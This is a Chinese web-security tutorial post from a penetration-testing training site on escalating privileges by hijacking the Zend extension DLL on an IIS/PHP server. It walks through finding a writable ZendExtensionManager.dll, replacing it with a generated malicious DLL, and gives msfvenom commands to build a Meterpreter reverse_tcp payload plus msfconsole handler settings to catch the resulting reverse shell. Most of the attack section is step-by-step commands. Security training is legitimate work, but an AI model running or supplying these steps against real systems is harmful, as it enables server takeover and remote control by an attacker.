1. 首页
  2. 渗透测试

[原创]WEB安全第六章 提权篇13 zend反弹shell提权

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

WEB安全第六章 提权篇13 zend反弹shell提权

1、简介
在php里面有一个扩展是zend 这个是用解析 php zend脚本加密文件。
如果服务器安装了zend 如果ZendExtensionManager.dll 权限可以修改,那就可以用其他dl替换这dll文件。

查找ZendExtensionManager.dll
C:\ZkeysSoft\Zend\ZendOptimizer-3.3.3\lib

[原创]WEB安全第六章 提权篇13 zend反弹shell提权

用wt.asp 目录检测可写工具 检测权限是否可写

[原创]WEB安全第六章 提权篇13 zend反弹shell提权

2、提权工具
Zend_DLL_Hijacking.exe 这个是执行程序
Zend_DLL_Hijacking_for_nc.exe 这个是nc 正向连接

3、提权过程
如果php装了Zend插件 就要查看这个目录的ZendExtensionManager.dll 是否可写,可写的情况下,就可以利用这个进行提权
需要的工具 cmd.exe nc.exe

[原创]WEB安全第六章 提权篇13 zend反弹shell提权

生成ZendExtensionManager.dll 上传到lib目录下
iis6.0 在启动的时候 或 收回进程重启启动的时候有人访问网站的时候就会加载 dll文件
当用户访问php网页的时候就会加重dll
teletnt 192.168.0.115 4444

[原创]WEB安全第六章 提权篇13 zend反弹shell提权

Zend_DLL_Hijacking.exe 执行远控

msfconsole 生成反弹shell
生成攻击载荷
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.106 lport=12345 -f exe >/var/www/html/s.exe
本地监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.106
set lport 12345
exploit

监听端口

[原创]WEB安全第六章 提权篇13 zend反弹shell提权

提权工具生成dll

[原创]WEB安全第六章 提权篇13 zend反弹shell提权

当有人访问php网页的时候 就会加载dl 执行我们s.exe 那么 msf 就会监听到一个反弹shell

[原创]WEB安全第六章 提权篇13 zend反弹shell提权

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/458.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息